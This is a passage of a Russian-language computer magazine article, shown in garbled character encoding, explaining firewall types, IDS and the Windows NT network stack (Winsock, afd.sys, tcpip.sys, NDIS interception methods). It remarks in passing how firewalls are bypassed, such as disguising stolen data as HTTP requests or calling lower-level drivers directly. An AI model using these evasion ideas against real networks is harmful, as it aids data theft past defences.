ìîæåò îãðàíè÷èòü âûõîä â èíòåðíåò,
íàïðèìåð çàïðåòèòü ñîòðóäíèêàì
êîìïàíèè çàõîäèòü íà ñåðâåðà òèïà
www.porno.com èëè çàáëîêèðîâàòü
íåêîòîðûå ïîðòû, ñêàæåì íà 4662 -
ñòàíäàðòíûé ïîðò Îñëà.

ÊÀÊÈÅ ÁÐÀÍÄÌÀÓÝÐÛ
ÁÛÂÀÞÒ

Âñå áðàíäìàóýðû äåëÿòñÿ íà äâà
òèïà: ïàêåòíûå ôèëüòðû è ôèëüòðû
óðîâíÿ ïðèëîæåíèé (îíè æå proxy).
Ïàêåòíûé ôèëüòð - ýòî îáû÷íûé ðîó-
òåð (îí æå ìàðøðóòèçàòîð), ìàðøðó-
òèçèðóþùèé èëè íå ìàðøðóòèçèðóþ-
ùèé TCP/IP-ïàêåòû ñîãëàñíî óñòàíîâ-
ëåííîé ñèñòåìå ïðàâèë. Ïîýòîìó, åñëè
â ëîêàëüíîé ñåòè óæå ïðèñóòñòâóåò
ðîóòåð (à áåç íåãî íèêàê), ïðèîáðå-
òàòü äîïîëíèòåëüíûé ïàêåòíûé
ôèëüòð íå íóæíî. 

Ôèëüòðû óðîâíÿ ïðèëîæåíèé - ýòî
îáû÷íûå proxy. Íà êîìïüþòåð, "ñìîò-
ðÿùèé" â èíòåðíåò, óñòàíàâëèâàåòñÿ

proxy-ñåðâåð (íàïðèìåð ëþáèìûé
Etlin HTTP-Proxy), è âñå îñòàëüíûå
êîìïüþòåðû ðàáîòàþò óæå ÷åðåç íå-
ãî. Â îòëè÷èå îò âàðèàíòà ñ ìàðøðóòè-
çàòîðîì, êîìïüþòåðû, îãðàæäåííûå
proxy-ñåðâåðîì, óæå íå ïîëó÷àþò ðå-
àëüíûõ IP, è âíåøíèé íàáëþäàòåëü
âèäèò ëèøü îäèí óçåë - proxy. Ýòî
óñèëèâàåò çàùèùåííîñòü ñåòè è èç-
áàâëÿåò îò îáÿçàííîñòè ëîìàòü ãîëî-
âó íàä êîíôèãóðàöèåé ïàêåòíîãî
ôèëüòðà. Ïðîñòî óñòàíîâèë proxy - è
âñå, íî... Äàëåêî íå âñå ïðèëîæåíèÿ
ïîääåðæèâàþò ðàáîòó ÷åðåç proxy.
Íàïðèìåð, Îñåë ïîääåðæèâàåò, à
Shareza - íåò. Ê òîìó æå "çàïðîêñèðî-
âàííûå" êîìïüþòåðû íå ìîãóò ïðèíè-
ìàòü âõîäÿùèõ ïîäêëþ÷åíèé. 

×àñòè÷íî ýòà ïðîáëåìà ñíèìàåòñÿ
òðàíñëÿòîðàìè ñåòåâûõ àäðåñîâ
(Network Address Translation, èëè NAT
ñîêðàùåííî), ðåòðàíñëèðóþùèõ ïîñ-
òóïàþùèå ïàêåòû íà çàäàííûé ïîðò
òàêîé-òî ìàøèíû, íî òóò íå âñå ïðîñòî.
Âîò íàïðèìåð òîò æå Îñåë. ×åðåç
Proxy îí ðàáîòàåò â óùåðáíîì ðåæè-
ìå, è ìíîãèå ñåðâåðû âîîáùå íå ïóñ-
êàþò åãî èëè ïóñêàþò, íî ñ íèçêèì ID.
Åñëè æå ïîñòàâèòü NAT è ðåòðàíñëè-
ðîâàòü ïàêåòû ÷åðåç Proxy, òî âñå áó-
äåò ðàáîòàòü, íî òîëüêî íà îäíîì óçëå.
Îäíîâðåìåííûé çàïóñê Îñëà íà äâóõ
èëè áîëåå ìàøèíàõ îêàæåòñÿ íåâîç-
ìîæíûì, òàê êàê èçâíå âñå ëîêàëüíûå
ìàøèíû èìåþò îäèí è òîò æå IP-àäðåñ!

×åì îòëè÷àåòñÿ áðàíäìàóýð òèïà
"ôèëüòð óðîâíÿ ïðèëîæåíèé" îò
îáû÷íîãî Proxy? Â îáùåì ñëó÷àå íè-
÷åì. Ïðàâäà, åñëè Proxy òóïî ïåðåñû-
ëàåò çàïðîñû, íå âäàâàÿñü íè â êàêèå
ïîäðîáíîñòè, áðàíäìàóýð ìîæåò âû-
ïîëíÿòü íåêîòîðûå äîïîëíèòåëüíûå
ïðîâåðêè. Íàïðèìåð, áëîêèðîâàòü ïî-
ïûòêè ñîåäèíåíèÿ íà îïðåäåëåííûå
IP-àäðåñà. ×àñòî ïðèõîäèòñÿ ñëûøàòü,
÷òî ôèëüòðû óðîâíÿ ïðèëîæåíèé
"ñëåäÿò" çà ñîîòâåòñòâèåì ôîðìû
çàïðîñîâ îïðåäåëåííîìó ïðîòîêîëó.
Íà ñàìîì äåëå ýòî íå ñîâñåì òàê.
Ôèëüòðû óðîâíÿ ïðèëîæåíèé íå "ñëå-
äÿò" çà ïðîòîêîëîì - îíè ðàáîòàþò íà
íåì! Â ÷àñòíîñòè, ÷òîáû "ïðîáèòüñÿ"
÷åðåç HTTP-Proxy, íåîáõîäèìî ñîñòà-
âèòü ñîîòâåòñòâóþùèé HTTP-çàïðîñ,
èíà÷å ñåðâåð ïðîñòî íå ïîéìåò, ÷åãî
îò íåãî õîòÿò. Âàæíî ïîíÿòü: áðàíäìà-
óýð àíàëèçèðóåò òîëüêî ôîðìó, íî íå
ñîäåðæèìîå. Äîïóñòèì, íåîáõîäèìî
ñêðûòíî ïåðåäàòü íàãðàáëåííóþ èí-
ôîðìàöèþ. Óêëàäûâàåì åå â HTTP-
çàïðîñ, ìàñêèðóþùèéñÿ ïîä URL èëè
ãðàôè÷åñêèé ôàéë, è áðàíäìàóýð ïðî-
ïóñòèò åãî êàê íè â ÷åì íå áûâàëî :).

Ñ íåêîòîðûõ ïîð â áðàíäìàóýðû íà-
÷àëè âñòðàèâàòüñÿ àíòèâèðóñû è ñèñ-
òåìû îáíàðóæåíèÿ âòîðæåíèé
(Intruders Detection System, ñîêðàùåí-
íî IDS). IDS � ÷òî ýòî? Ãðóáî ãîâîðÿ,
ýòî òàêàÿ øòóêà, êîòîðàÿ íå ïðîñòî òó-
ïî áëîêèðóåò òðàôèê, íî åùå è ðàñ-
ïîçíàåò ïîòåíöèàëüíî îïàñíûå
äåéñòâèÿ. Íàïðèìåð, åñëè êòî-òî íà÷è-

Ï

Áðàíäìàóýð àíàëèçèðóåò òîëüêî 
ôîðìó, íî íå ñîäåðæèìîå.
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Òèïè÷íàÿ ñõåìà ïîäêëþ÷åíèÿ áðàíäìàóýðà

ÊÀÊ ÐÀÁÎÒÀÅÒ ÁÐÀÍÄÌÀÓÝÐ66 ÊËÈÅÍÒ
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íàåò ñêàíèðîâàòü ïîðòû èëè ëîìèòüñÿ
íà ïå÷àëüíî èçâåñòíûé 135-é ïîðò, ñî-
äåðæàùèé óÿçâèìîñòü, IDS ïîäíèìàåò
òðåâîãó. Ñîáðàâ êàê ìîæíî áîëüøå
ñâåäåíèé îá àòàêóþùåì, îíà ìûëèò
àäìèíèñòðàòîðà èëè ñáðàñûâàåò ñîîá-
ùåíèå íà ïåéäæåð.

ÍÓÆÅÍ ËÈ ÄÎÌÀ
Ïåðåéäåì ê äîìàøíåìó êîìïüþòå-

ðó èëè äàæå íåáîëüøîé ëîêàëüíîé
ñåòè. Íóæåí ëè èì áðàíäìàóýð? À åñ-
ëè íóæåí, òî êàêèå ïîðòû çàêðûâàòü?
Âîïðîñ, êîíå÷íî, íàáîëåâøèé, íî
ñôîðìóëèðîâàí îí íåïðàâèëüíî. Íà
òèïè÷íîì äîìàøíåì êîìïüþòåðå
ïðîñòî íå ñîäåðæèòñÿ íèêàêèõ ñåð-
âåðíûõ ñëóæá, ïîýòîìó çàêðûâàòü íè-
÷åãî íå íóæíî! Èñêëþ÷åíèå ñîñòàâëÿ-
åò 135-é ïîðò, ïðèíóäèòåëüíî îòêðûâà-
åìûé Windows NT/2000/XP è óäåðæè-
âàþùèé åãî äëÿ ñâîèõ íóæä. Íåñêîëü-
êî ëåò íàçàä â íåì áûëà îáíàðóæåíà
óÿçâèìîñòü, ÷åðåç êîòîðóþ ðèíóëèñü
÷åðâè, õàêåðû è ïðî÷àÿ íå÷èñòü.
Ïðîáëåìà ðåøàåòñÿ ëèáî óñòàíîâêîé
áðàíäìàóýðà, áëîêèðóþùåãî 135-é
ïîðò, ëèáî ïàêåòîì îáíîâëåíèÿ, óæå
äàâíî âûïóùåííûì Microsoft (äîñòà-
òî÷íî íàæàòü Windows Update).

Ëîêàëüíûé áðàíäìàóýð - î÷åíü
ãëþ÷íàÿ âåùü, çà÷àñòóþ ïðèâîäÿùàÿ
ê ñèíèì ýêðàíàì, áëîêèðóþùàÿ ðàáî-
òó ìíîãèõ ÷åñòíûõ ïðèëîæåíèé, óâå-
ëè÷èâàþùàÿ íàãðóçêó íà ïðîöåññîð
è "ñúåäàþùàÿ" ÷àñòü ïðîïóñêíîé
ñïîñîáíîñòè êàíàëà. Çà÷åì æå òîãäà
îí íóæåí?

Íàïðèìåð, èìååòñÿ ëîêàëüíàÿ ñåòü ñ
ðàñøàðåííûìè ïàïêàìè è ïðèíòåðîì.
×òîáû íå íàçíà÷àòü íà âñå ýòî õîçÿé-
ñòâî òðóäíîçàïîìèíàåìûå ïàðîëè,
ìîæíî ïðîñòî óñòàíîâèòü áðàíäìàóýð
è çàïðåòèòü ïîäêëþ÷àòüñÿ ê íèì èçâ-
íå ñåòè. Èëè âîò, íàïðèìåð, ìû õîòèì
êîíòðîëèðîâàòü àêòèâíîñòü ðàçëè÷-
íûõ ïðèëîæåíèé, íå ïîçâîëÿÿ êîìó
ïîïàëî ëåçòü â èíòåðíåò. Ìîæåò áûòü,
ïðîãðàììà ïåðåäàåò ñåðèéíûé íîìåð,
÷òîáû ïðîâåðèòü, íå áûë ëè îí "ñïèî-

íåðåí", èëè âèðóñ èñïîëüçóåò íàø
êîìïüþòåð äëÿ ðàññûëêè ñïàìà ïî
âñåìó ïåðèìåòðó ìÿñîêîìáèíàòà.
Ñòàíäàðòíûé ïàêåòíûé ôèëüòð, óñòà-
íîâëåííûé íà ìàðøòóòèçàòîðå, óæå
íå â ñîñòîÿíèè ñïðàâèòüñÿ ñ ýòîé çà-
äà÷åé, ïîñêîëüêó îí îïåðèðóåò òîëü-
êî ïîðòàìè è àäðåñàìè, íî íå èìååò
íèêàêèõ ïðåäñòàâëåíèé î òîì, êàêîå
èìåííî ïðèëîæåíèå âûïîëíèëî çàï-
ðîñ. Âîò äëÿ ýòîãî è íóæíû ëîêàëüíûå
áðàíäìàóýðû! Èõ ãëàâíàÿ è ïðàêòè-
÷åñêè åäèíñòâåííàÿ çàäà÷à - íå âû-
ïóñêàòü íèêîãî â èíòåðíåò áåç ïðåä-
âàðèòåëüíîãî ðàçðåøåíèÿ ïîëüçîâà-
òåëÿ. Âîçìîæíîñòü áëîêèðîâêè âõî-
äÿùèõ ñîåäèíåíèé òàêæå ïðåäóñìîò-
ðåíà, íî, êàê ïðàâèëî, îíà íå èñïîëü-
çóåòñÿ, ïîñêîëüêó íà äîìàøíåì
êîìïüþòåðå íå óñòàíîâëåíî íèêàêèõ
ñåðâåðîâ. Òðîÿíñêèå ïðîãðàììû ïåð-
âîãî ïîêîëåíèÿ ÷àñòî îòêðûâàëè
îäèí èëè íåñêîëüêî ïîðòîâ äëÿ óäà-
ëåííîãî óïðàâëåíèÿ, íî ñåé÷àñ ýòà
ïðàêòèêà îòõîäèò â ïðîøëîå, è ÷àùå
âñåãî ñåðâåðíàÿ ÷àñòü óñòàíàâëèâà-
åòñÿ ó õàêåðà, à âèðóñ ñàì ëîìèòñÿ ê
íåìó ïî HTTP.

Âûïîëíÿþò ëè áðàíäìàóýðû ñâîþ
çàäà÷ó? Êàê ñêàçàòü� Ñ îäíîé ñòîðî-
íû, ÷àñòü àòàê îíè âñå-òàêè îòðàæàþò
(êñòàòè, ñêàíèðîâàíèå ïîðòîâ àòàêîé
åùå íå ÿâëÿåòñÿ). Òåì íå ìåíåå, èõ
î÷åíü ëåãêî îáîéòè.

ÏÀÊÅÒÍÛÅ ÔÈËÜÒÐÛ 
ÂÎ ÑÍÅ È ÍÀßÂÓ

Íà÷èíàÿ ñ Windows 2000 â ñîñòàâ
îïåðàöèîííîé ñèñòåìû âõîäèò ïðèìè-
òèâíûé áðàíäìàóýð, êîòîðûé áûë çíà-
÷èòåëüíî óñèëåí â Windows XP (îñî-
áåííî â SP2). Êàê ìàðêåòèíãîâîå
ñðåäñòâî îí, ìîæåò áûòü, è ñãîäèòñÿ,
íî îò õàêåðîâ ïðàêòè÷åñêè íèêàê íå
çàùèùàåò. À øèðîêî ðàçðåêëàìèðî-
âàííûé Kaspersky Anti-Hacker - ñîâ-
ñåì äàæå íå áðàíäìàóýð, à âîîáùå
íåïîíÿòíî ÷òî :).

Ìû áóäåì ãîâîðèòü î "ïðàâèëüíûõ"
áðàíäìàóýðàõ SyGate Personal

Firewall, Outpost Firewall, Zone Alarm è
äð., ïðåäñòàâëÿþùèõ ñîáîé ïàêåòíûå
ôèëüòðû, êîòîðûå âñòðàèâàþòñÿ â
ñòåê ñåòåâûõ äðàéâåðîâ.

Óïðîùåííàÿ ìîäåëü ñåòåâîé ïîä-
ñèñòåìû Windows NT ïðèâåäåíà íà ðè-
ñóíêå. Íà ñàìîì âåðõó èåðàðõèè íàõî-
äèòñÿ áèáëèîòåêà ws_32.dll, ðåàëèçóþ-
ùàÿ ôóíêöèè Winsock (îíè æå "ñîêå-
òû"), ê ÷èñëó êîòîðûõ ïðèíàäëåæàò
bind, connect è äð. Áîëüøèíñòâî ïðè-
ëîæåíèé âçàèìîäåéñòâóþò ñ ñåòüþ
èìåííî ÷åðåç ws_32.dll, âûçîâû êîòî-
ðîé î÷åíü ëåãêî ïåðåõâàòèòü: äîñòà-
òî÷íî, íàïðèìåð, çàìåíèòü øòàòíóþ
áèáëèîòåêó íà ñâîþ ñîáñòâåííóþ èëè
ìîäèôèöèðîâàòü òàáëèöó èìïîðòà.
Îäíàêî ýòî íàôèã íèêîìó íå íóæíî.
Çíà÷èòåëüíàÿ ÷àñòü òðàôèêà ïðîõî-
äèò ìèìî ws_32.dll. Â ÷àñòíîñòè, îáðà-
ùåíèÿ ê "ðàñøàðåííûì" ðåñóðñàì òà-
êèì ïàêåòíûì ôèëüòðîì óæå íå îáíà-
ðóæèâàþòñÿ. Ê òîìó æå çëîâðåäíûå
ïðèëîæåíèÿ ìîãóò áåñïðåïÿòñòâåííî
âûçûâàòü ôóíêöèè íèæíèõ óðîâíåé,
ðàáîòàÿ â îáõîä Winsock. È òåì íå ìå-
íåå, ïåðåõâàò ws_32.dll âñå-òàêè èñ-
ïîëüçóåòñÿ â íåêîòîðûõ ïðèìèòèâíûõ
áðàíäìàóýðàõ è áàííåðîðåçêàõ, ê êî-
òîðûì ìîæíî îòíåñòè ðàííèå âåðñèè
SyGate Personal Firewall (äàëåå ïî »

Ëîêàëüíûé áðàíäìàóýð - 
î÷åíü ãëþ÷íàÿ âåùü, 

çà÷àñòóþ ïðèâîäÿùàÿ ê ñèíèì ýêðàíàì.

"Ðàçðåç" ñåòåâîé ïîäñèñòåìû Windows
NT â ìèíèàòþðå



Áðàíäìàóýð
ìîæåò áûòü
âñòðîåí â Wi-Fi
èëè DSL-ìî-
äåì, íî ÷àùå
âñåãî îí ðåà-
ëèçóåòñÿ êàê
ïðèêëàäíîé ïà-
êåò, óñòàíàâ-
ëèâàåìûé íà
êîìïüþòåð.

òåêñòó ïðîñòî SPF) è AtGuard (îí æå
"ãâàðäååö"). 

Ïîä ws_32.dll íàõîäèòñÿ äðàéâåð
afd.sys (ancillary function driver � âñïî-
ìîãàòåëüíûé ñëóæåáíûé äðàéâåð), â
êîòîðîì ðåàëèçîâàíû îñíîâíûå îïå-
ðàöèè íàä ñîêåòàìè: ñîçäàíèå ñîêåòà,
óñòàíîâêà ñîåäèíåíèÿ è ò.ä. Ôàêòè-
÷åñêè ws2_32.dll ïðåäñòàâëÿåò ñîáîé
âûñîêîóðîâíåâóþ user-mode-îáåðòêó,
à afd.sys - åå kernel-mode ÷àñòü, îáðà-
çóÿ ÷òî-òî âðîäå àéñáåðãà. Åñëè áûòü
ñîâñåì òî÷íûì, òî ýòèõ îáåðòîê öåëûõ
äâå: ìåæäó ws2_32.dll è afd.sys íàõî-
äèòñÿ áèáëèîòåêà msafd.dll, íà êîòî-
ðóþ ñàäÿòñÿ íåêîòîðûå áðàíäìàóýðû,
ïûòàþùèåñÿ ôèëüòðîâàòü òðàôèê.
Îäíàêî ýòî íå ñàìîå óäà÷íîå ðåøå-
íèå. Âî-ïåðâûõ, ÷àñòü òðàôèêà èäåò
ìèìî ñîêåòîâ, à âî-âòîðûõ, ïðèëîæå-
íèþ íè÷åãî íå ñòîèò îáðàòèòüñÿ ê
äðàéâåðó afd.sys íàïðÿìóþ.

Ñïóñòèâøèñü íà îäíó ñòóïåíüêó
âãëóáü, îáíàðóæèâàåì äðàéâåð
tcpip.sys, ñîñðåäîòî÷èâøèé â ñåáå ðå-
àëèçàöèþ ïðîòîêîëîâ TCP/IP. Ýòî òàê
íàçûâàåìûé óðîâåíü TDI (Transport
Data Interface - èíòåðôåéñ ïåðåäà÷è
äàííûõ), òàêæå íàçûâàåìûé "òðàíñïî-
ðòíûì" óðîâíåì èëè óðîâíåì ñåòåâûõ
ïðîòîêîëîâ. Çäåñü æå ðàñïîëîæåí
äðàéâåð NWLNKIPX.SYS, ðåàëèçóþ-
ùèé ïðîòîêîë IPX è äðóãèå ñåòåâûå
äðàéâåðû, êîòîðûå äàâíî îòîøëè â
ìèð èíîé, è ïðåäñòàâëÿþùèé òîëüêî
èñòîðè÷åñêèé èíòåðåñ. Êîãäà êîìïüþ-
òåð ðàáîòàåò â ðåæèìå ìàðøðóòèçàòî-
ðà èëè øëþçà, âåñü òðàôèê èäåò ÷å-
ðåç ñåòåâûå äðàéâåðû (ãëàâíûì îáðà-
çîì ÷åðåç tcpip.sys) è íà âåðõíèõ
óðîâíÿõ ïðîñòî íå ïîÿâëÿåòñÿ (âïðî-
÷åì, åñëè ñåòåâàÿ êàðòà ïîääåðæèâà-
åò ðåæèì FFP, òðàôèê ìîæåò íå äîéòè
è äî tcpip.sys). Çëîâðåäíûå ïðîãðàììû
ïðèêëàäíîãî óðîâíÿ ìîãóò âûçûâàòü
tcpip.sys íàïðÿìóþ (èëè ÷åðåç âûñî-
êîóðîâíåâóþ îáåðòêó wshtcpip.dll), ìè-
íóÿ ws2_32.dll. Äëÿ óñòàíîâêè TCP/IP-
ôèëüòðà íåîáõîäèìî ïåðåõâàòûâàòü
âñå âûçîâû ê óñòðîéñòâàì
\Device\RawIp, \Device\Udp è
\Device\Tcp. Ýòî äîñòèãàåòñÿ ëèáî âû-

çîâîì IoAttachDevice, ëèáî ïðÿìîé
ìîäèôèêàöèåé óêàçàòåëåé òàáëèöû
äèñïåò÷åðèçàöèè.

Äàëåå ñòóïåíüêîé íèæå îáîñíîâàë-
ñÿ NDIS-äðàéâåð (Network Driver
Interface Specification - ñïåöèôèêàòîð
èíòåðôåéñà ñåòåâûõ äðàéâåðîâ),
ïðåäñòàâëÿþùèé ñîáîé mini-port. Ãðó-
áî ãîâîðÿ, ýòî áèáëèîòåêà ôóíêöèé,
ïîçâîëÿþùàÿ äðàéâåðàì ñåòåâûõ
ïðîòîêîëîâ "ãîíÿòü" ñåòåâûå ïàêåòû,
íå âíèêàÿ â äåòàëè ðåàëèçàöèè. Íèæå
NDIS íàõîäèòñÿ òîëüêî äðàéâåð ñåòå-
âîé êàðòû, ïîýòîìó áðàíäìàóýð, ðàáî-
òàþùèé íà NDIS-óðîâíå, ïåðåõâàòûâà-
åò ïðàêòè÷åñêè âåñü òðàôèê, êîòîðûé
òîëüêî ïðîõîäèò ÷åðåç êîìïüþòåð.
"Ïðàêòè÷åñêè" - ïîòîìó ÷òî îáðàùå-
íèÿ ê îáðàòíîé ïåòëå (loop back) ÷å-
ðåç NDIS íå ïðîõîäÿò è îñòàþòñÿ íå-
çàìå÷åííûìè, òî åñòü, åñëè äàòü êî-
ìàíäó ping 127.0.0.1, ïàêåòíûé ôèëüòð
äàæå íå ïèêíåò. À ýòî çíà÷èò, ÷òî
NDIS-áðàíäìàóýðû õðîíè÷åñêè íå ñïî-
ñîáíû îáíàðóæèâàòü ïîäêëþ÷åíèÿ ê
ëîêàëüíûì ñëóæáàì. Åñëè íà êîìïüþ-
òåðå óñòàíîâëåí Proxy-ñåðâåð (à îí
óñòàíîâëåí ïðàêòè÷åñêè íà âñåõ äî-
ìàøíèõ ñåòÿõ), ëþáîå ïðèëîæåíèå
ìîæåò ñâîáîäíî âûõîäèòü â Ñåòü è ãó-
ëÿòü ïî ëþáûì àäðåñàì, îñóùåñòâëÿÿ
èíôîðìàöèîííûé îáìåí âî âñåõ íàï-
ðàâëåíèÿõ.

Ê òîìó æå íà NDIS-óðîâíå íå ðàçáå-
ðåøüñÿ, ÷òî çà ïðèëîæåíèå ëîìèòñÿ â
ñåòü, à áåç ýòîãî íåâîçìîæíî ïðèíÿòü
ðåøåíèå, ïðîïóñêàòü åãî èëè íåò. Ãðà-
ìîòíûé áðàíäìàóýð ïðåäñòàâëÿåò ñî-
áîé öåëûé êîíãëîìåðàò ïàêåòíûõ
ôèëüòðîâ ðàçíûõ óðîâíåé, ñëîæíûì
îáðàçîì âçàèìîäåéñòâóþùèõ ìåæäó
ñîáîé. È ýòî åùå íå ïîäâîäíàÿ ÷àñòü
àéñáåðãà. Äðàéâåð ñåòåâîé êàðòû îïè-
ðàåòñÿ íà äðàéâåð øèíû, ÷åðåç êîòî-
ðûé ïðîõîäÿò âñå "÷åñòíûå" âûçîâû.
Íà óðîâíå ÿäðà õàêåð ìîæåò íàïðÿ-
ìóþ îáðàùàòüñÿ ê êàðòå ÷åðåç ïîðòû
ââîäà-âûâîäà èëè âêëèíèâàòüñÿ â

PPP-äðàéâåð, ðåàëèçîâàííûé êàê
WAN mini-port, à ýòî áóäåò ïîíèæå
NDIS, ïî êðàéíåé ìåðå, ôîðìàëüíî. Ê
ïðèìåðó, Dial-Up (îí æå RAS - remote
access service, ïî-ðóññêè "ñåðâèñ óäà-
ëåííîãî äîñòóïà") ðåàëèçîâàí íà
ïðèêëàäíîì óðîâíå, è çëîóìûøëåí-
íèê ëåãêî ìîæåò âêëèíèòüñÿ â íåãî!

Ñóùåñòâóåò ïî ìåíüøåé ìåðå òðè
äîêóìåíòèðîâàííûõ ñïîñîáà äëÿ ïå-
ðåõâàòà òðàôèêà íà NDIS-óðîâíå. Ýòî,
âî-ïåðâûõ, NDIS Intermediate Driver
(ïðîìåæóòî÷íûé äðàéâåð NDIS), êîòî-
ðûé ñàäèòñÿ ìåæäó NDIS-äðàéâåðîì è
äðàéâåðîì ñåòåâîé êàðòû. Ìåòîäèêà
òàê ñåáå. Ïèñàòü öåëûé äðàéâåð ðàäè
îäíîãî ïåðåõâàòà - ðåøåíèå èç ðàçðÿ-
äà òÿæåëîâåñíûõ, ê òîìó æå äëÿ ðàáî-
òû ñ Dial-Up'îì ïðèõîäèòñÿ î÷åíü êðó-
òî èçâðàùàòüñÿ, ïîýòîìó îñîáîé ïî-
ïóëÿðíîñòè ïðîìåæóòî÷íûé äðàéâåð
íå çàâîåâàë (ðàçðàáîò÷èêè áðàíäìàó-
ýðîâ, êàê íè ñòðàííî, òîæå ëþäè, è
íè÷òî ÷åëîâå÷åñêîå èì íå ÷óæäî). Åñ-
ëè âîçíèêíåò æåëàíèå ïîçíàêîìèòüñÿ
ñ íèì ïîáëèæå, âñåãäà ìîæíî îòêðûòü
ðàçäåë "Intermediate NDIS Drivers and
TDI Drivers" èç DDK.

Âòîðûì èäåò Filter-Hook Driver (äðàé-
âåð ôèëüòðà-ëîâóøêè), ïðåäñòàâëÿþ-
ùèé ñîáîé îáû÷íûé kernel-mode
äðàéâåð, ôèëüòðóþùèé ñåòåâûå ïàêå-
òû íà óðîâíå IP è ðàáîòàþùèé èç-ïîä
ïàëêè. Microsoft êàòåãîðè÷åñêè íå ðå-
êîìåíäóåò èñïîëüçîâàòü åãî äëÿ
áðàíäìàóýðîâ, è âîò ïî÷åìó: âñåãî
ëèøü îäíà ëîâóøêà ìîæåò áûòü óñòà-
íîâëåíà â ñèñòåìå, ïðè÷åì îíà óñòà-
íàâëèâàåòñÿ äîâîëüíî "âûñîêî" è
çëîâðåäíîå ïðèëîæåíèå ìîæåò ëåãêî
îòêëþ÷èòü ôèëüòðàöèþ. DDK ïî ýòîìó
ïîâîäó ïèøåò: "Firewall-hook-äðàéâåð
íå óäîâëåòâîðÿåò òðåáîâàíèÿì,
ïðåäúÿâëÿåìûì ê áðàíäìàóýðó, ïîñ-
êîëüêó îí ðàáîòàåò íà ñëèøêîì áîëü-
øîé âûñîòå â ñåòåâîì ñòåêå. Äëÿ
îáåñïå÷åíèÿ íàäëåæàùåãî ôóíêöèî-
íàëà íà XP è âûøå íåîáõîäèìî ñîç-
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Íåêîòîðûå ìà-
òåðèíñêèå ïëà-
òû èìåþò èí-
òåãðèðîâàííóþ
êàðòó ñî âñòðî-
åííûì áðàíä-
ìàóýðîì.

Âñÿêèé ìàðø-
ðóòèçàòîð ìî-
æåò âûïîëíÿòü
ôóíêöèè ïà-
êåòíîãî ôèëüò-
ðà, íî äàëåêî
íå âñÿêèé ïà-
êåòíûé ôèëüòð
ìîæåò ñëóæèòü
ìàðøðóòèçàòî-
ðîì!

Cåòåâîé ñòåê - ýòî íàñòîÿùèé àéñáåðã
RAS � ñåðâèñ óäàëåííîãî äîñòóïà, èñ-
ïîëüçóåìûé íà Dial-Up'å

Ïñåâäîïðîìåæóòî÷íûé NDIS-äðàéâåð,
èñïîëüçóåìûé ìíîãèìè áðàíäìàóýðàìè
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Ñóùåñòâóåò ïî ìåíüøåé ìåðå òðè
äîêóìåíòèðîâàííûõ ñïîñîáà äëÿ ïåðåõâàòà

òðàôèêà íà NDIS-óðîâíå.



äàòü NDIS intermediate miniport-äðàé-
âåð, óïðàâëÿþùèé îòïðàâêîé è ïðèå-
ìîì ïàêåòîâ ÷åðåç áðàíäìàóýð". Íî
âåäü íàõîäÿòñÿ æå òàêèå ÷óê÷è, êîòî-
ðûå èñïîëüçóþò firewall-hook-äðàéâåð
êàê îñíîâíîå ñðåäñòâî ôèëüòðàöèè!

Òðåòüèì è ïîñëåäíèì ñïîñîáîì ïå-
ðåõâàòà îñòàåòñÿ NDIS-Hooking Filter-
äðàéâåð (òàêæå íàçûâàåìûé Pseudo-
Intermediate NDIS Driver - ïñåâäîïðî-
ìåæóòî÷íûé NDIS-äðàéâåð, ñîêðàùåí-
íî PIM), ïåðåõâàòûâàþùèé íåêîòîðûå
ïîäìíîæåñòâà ôóíêöèé áèáëèîòåêè
NDIS äëÿ îòñëåæèâàíèÿ ðåãèñòðàöèè
ïðîòîêîëîâ è îòêðûòèÿ ñåòåâûõ èí-
òåðôåéñîâ, íåçàñëóæåííî ðàñêðèòè-
êîâàííûé ðàçðàáîò÷èêàìè Outpost
Firewall'à. Ïîìèìî íàäåæíîñòè ê äîñ-
òîèíñòâàì äàííîãî ìåòîäà ñëåäóåò îò-
íåñòè "ïðîçðà÷íóþ" ïîääåðæêó Dial-
Up-èíòåðôåéñà, íà êîòîðîì ñèäèò

áîëüøå ïîëîâèíû âñåõ ïîëüçîâàòå-
ëåé. Êîíêðåòíûå ìåòîäèêè ïåðåõâàòà
äîñòàòî÷íî ðàçíîîáðàçíû, íî òàê èëè
èíà÷å îíè ñâîäÿòñÿ ê ïàò÷ó "ðîäíîãî"
NDIS-äðàéâåðà â ïàìÿòè, ÷òî íåñðàâ-
íåííî ïðîùå ðåàëèçàöèè ïðîìåæó-
òî÷íîãî NDIS-äðàéâåðà ñ íóëÿ. Ê òîìó
æå íå òàê-òî ïðîñòî îòêëþ÷èòü ãðà-
ìîòíî îðãàíèçîâàííûé ïåðåõâàò. Ýòî
ëó÷øèé ñïîñîá ôèëüòðàöèè èç âñåõ
èìåþùèõñÿ, è îí èñïîëüçóåòñÿ âî
ìíîãèõ áðàíäìàóýðàõ. Îäíàêî, êàê
óæå îòìå÷àëîñü, îáðàòíàÿ ïåòëÿ äî
NDIS-óðîâíÿ óæå íå äîõîäèò, äà è pid
ïðîöåññà-íîñèòåëÿ îïðåäåëèòü âåñü-
ìà çàòðóäíèòåëüíî, ïîýòîìó îäíîãî
ëèøü NDIS-ôèëüòðà äëÿ ðåàëèçàöèè
ïåðñîíàëüíîãî áðàíäìàóýðà áóäåò íå-
äîñòàòî÷íî.

Â ÈÒÎÃÅ
Ðàçóìååòñÿ, ñóùåñòâóþò è äðóãèå

ñïîñîáû ôèëüòðàöèè òðàôèêà, íî ìû
íå áóäåì ðàññìàòðèâàòü âñå. Ãëàâíîå,
÷òî òàêèõ ñïîñîáîâ âåëèêîå ìíîæåñò-
âî, è íè îäèí èç íèõ ñàì ïî ñåáå íå
áåçóïðå÷åí. Õîðîøèé áðàíäìàóýð
äîëæåí êîìáèíèðîâàòü ïðèêëàäíûå
ôèëüòðû ñ ôèëüòðàìè ÿäåðíîãî óðîâ-
íÿ, íî... íè îäèí èç íèõ ýòîãî íå äåëà-
åò, ÷òî ïîçâîëÿåò õàêåðó ëåãêî îáîéòè
çàùèòó. E
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Ïðèìèòèâíûé
áðàíäìàóýð â
Windows 2000
áûë óñèëåí â
Windows XP
(îñîáåííî â
SP2), íî ÿâëÿ-
åòñÿ íå áîëåå
÷åì ðåêëàìîé.

Áðàíäìàóýðû
îòðàæàþò
÷àñòü àòàê, íî
èõ î÷åíü ëåãêî
îáîéòè.

Ïàêåòíûå ôèëüòðû îòíîñÿòñÿ
ê ñàìîìó áûñòðîìó òèïó áðàíä-
ìàóýðîâ. Ïðîãðàììíûå ïðîêñè,
îíè æå áðàíäìàóýðû óðîâíÿ
ïðèëîæåíèé, ðàáîòàþò íà ïîðÿ-
